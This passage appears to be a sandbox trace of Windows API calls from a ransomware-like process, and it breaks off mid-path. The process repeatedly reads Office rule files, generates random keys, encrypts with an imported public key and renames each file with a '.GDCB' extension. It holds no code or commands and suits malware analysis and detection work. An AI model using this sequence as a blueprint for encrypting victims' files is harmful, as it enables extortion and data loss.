[0178.359] GetLastError () returned 0x0 [0178.359] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.359] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0178.361] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690f08) returned 1 [0178.361] CryptGetKeyParam (in: hKey=0x3690f08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.361] CryptEncrypt (in: hKey=0x3690f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.361] GetLastError () returned 0x0 [0178.361] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.361] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.363] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.364] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.365] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x32b10, lpOverlapped=0x0) returned 1 [0178.392] VirtualAlloc (lpAddress=0x0, dwSize=0x32b10, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.404] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml.gdcb")) returned 1 [0178.409] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.411] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.412] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.412] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.412] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.412] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.414] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.415] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.415] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.415] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.418] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36912c8) returned 1 [0178.418] CryptGetKeyParam (in: hKey=0x36912c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.418] CryptEncrypt (in: hKey=0x36912c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.418] GetLastError () returned 0x0 [0178.418] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.418] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.421] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690f88) returned 1 [0178.421] CryptGetKeyParam (in: hKey=0x3690f88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.421] CryptEncrypt (in: hKey=0x3690f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.421] GetLastError () returned 0x0 [0178.421] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.421] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.423] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.424] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.425] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0xfd13, lpOverlapped=0x0) returned 1 [0178.447] VirtualAlloc (lpAddress=0x0, dwSize=0xfd20, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.453] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup.exe_rules.xml.gdcb")) returned 1 [0178.457] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.460] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.460] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.460] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.460] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0178.461] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.462] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.462] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.462] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.462] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.465] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691348) returned 1 [0178.465] CryptGetKeyParam (in: hKey=0x3691348, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.465] CryptEncrypt (in: hKey=0x3691348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.465] GetLastError () returned 0x0 [0178.465] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.465] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.467] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36913c8) returned 1 [0178.467] CryptGetKeyParam (in: hKey=0x36913c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.468] CryptEncrypt (in: hKey=0x36913c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.468] GetLastError () returned 0x0 [0178.468] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.468] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.470] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.471] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.472] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x61bb, lpOverlapped=0x0) returned 1 [0178.480] VirtualAlloc (lpAddress=0x0, dwSize=0x61c0, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.485] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\setup64.exe_rules.xml.gdcb")) returned 1 [0178.490] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.492] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.493] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.493] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.493] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.493] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0178.494] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.494] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.494] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.495] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.495] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0178.497] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691008) returned 1 [0178.497] CryptGetKeyParam (in: hKey=0x3691008, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.497] CryptEncrypt (in: hKey=0x3691008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.497] GetLastError () returned 0x0 [0178.497] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.497] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.499] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691408) returned 1 [0178.499] CryptGetKeyParam (in: hKey=0x3691408, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.499] CryptEncrypt (in: hKey=0x3691408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.499] GetLastError () returned 0x0 [0178.499] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.499] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\visio.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.501] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.502] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.503] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x36e1b, lpOverlapped=0x0) returned 1 [0178.549] VirtualAlloc (lpAddress=0x0, dwSize=0x36e20, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.563] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\visio.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\visio.exe_rules.xml.gdcb")) returned 1 [0178.592] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.594] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.594] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.594] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.594] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.594] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.595] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.596] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.596] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.596] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.596] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.599] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691048) returned 1 [0178.599] CryptGetKeyParam (in: hKey=0x3691048, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.599] CryptEncrypt (in: hKey=0x3691048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.599] GetLastError () returned 0x0 [0178.599] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.599] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0178.601] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691088) returned 1 [0178.601] CryptGetKeyParam (in: hKey=0x3691088, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.601] CryptEncrypt (in: hKey=0x3691088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.601] GetLastError () returned 0x0 [0178.601] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0178.601] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.604] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.605] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.606] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x2324c, lpOverlapped=0x0) returned 1 [0178.643] VirtualAlloc (lpAddress=0x0, dwSize=0x23250, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.651] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winproj.exe_rules.xml.gdcb")) returned 1 [0178.656] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.659] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.659] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.659] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.659] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.660] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.660] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.660] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.660] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.661] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0178.663] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36910c8) returned 1 [0178.663] CryptGetKeyParam (in: hKey=0x36910c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.663] CryptEncrypt (in: hKey=0x36910c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.663] GetLastError () returned 0x0 [0178.663] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0178.663] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.665] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691108) returned 1 [0178.665] CryptGetKeyParam (in: hKey=0x3691108, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.665] CryptEncrypt (in: hKey=0x3691108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.666] GetLastError () returned 0x0 [0178.666] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.666] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application 